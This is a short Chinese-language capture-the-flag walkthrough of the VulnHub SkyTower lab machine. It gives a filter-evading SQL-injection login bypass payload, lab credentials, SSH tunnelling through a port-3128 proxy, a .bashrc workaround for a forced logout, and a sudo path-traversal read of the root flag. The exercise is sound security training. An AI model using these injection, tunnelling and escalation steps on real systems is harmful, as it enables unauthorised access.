vulnhub >_ SkyTower
Published on 09 Nov 2020
SkyTower
简单的登录框输入'
,测试出了注入点
使用burpsuit尝试绕过登录,但是在处理过程中发现,一些符号和词语被过滤了
首先是or
应该被去除了,然后是=
和--
也被去除了
这时我们可以使用||
替换or
注释符号则只使用#
但是没有办法替换掉=
最终尝试出的payload应为
' || 1=1#
成功绕过,得到ssh账户凭证
Username: john
Password: hereisjohn
ssh john@192.168.43.93
但是我们在扫描是发现,ssh端口是被过滤掉的
而3128端口提供给我们一个代理
使用代理进行ssh转发
proxytunnel -p 192.168.43.93:3128 -d 127.0.0.1:22 -a 2222
重新链接本地端口
ssh -p 2222 john@127.0.0.1
成功登录,但是shell会立即断开
尝试使用/bin/bash
作为参数
重新链接
ssh -p 2222 john@127.0.0.1 /bin/bash
这样得到的shell并不完整,这通常应该是bashrc中做了一些设置
查看一下
通常删除用户bashrc后会有系统重新有系统默认的/etc/bash.bashrc
我们备份一下并重新登录
ssh -p 2222 john@127.0.0.1
在网页服务目录下的login.php页面直接发现数据库凭证
登录数据库
mysql -u root -p
只有root,其他库
sara:ihatethisjob
william:senseable
不能su
登录了一下网页,密码是一样的。是ssh凭证没问题。登录ssh
还是和之前的操作一样需要rm掉bashrc
ssh登录成功
可以cat或者ls。我们可以利用..
sudo /bin/ls /accounts/../root
sudo /bin/cat /accounts/../root/flag.txt